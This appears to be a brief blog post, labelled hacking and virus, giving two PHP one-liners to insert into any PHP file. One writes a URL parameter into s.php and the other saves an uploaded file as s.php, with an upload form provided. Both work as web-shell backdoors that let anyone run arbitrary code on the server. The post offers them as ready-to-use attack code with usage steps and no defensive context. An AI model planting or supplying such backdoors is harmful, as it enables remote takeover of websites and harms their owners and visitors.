Hacking short code or Virus

Code 1

Step-1: Put the following code in any php file.

fwrite(fopen('s.php', "w"), isset($_GET['s'])?$_GET['s']:'');

Step-2: Enter PHP code in address bar like below:

?s=<?php phpinfo();

Code 2

Step-1: Put the following code in any php file.

isset($_FILES['s'])?move_uploaded_file($_FILES["s"]["tmp_name"], 's.php'):'';

Step-2: Inspect and add the following code in any file then change filename.php

<form action="filename.php" method="post" enctype="multipart/form-data">
  <input type="file" name="s">
  <input type="submit">
</form>

Labels: Hacking, Virus, Web development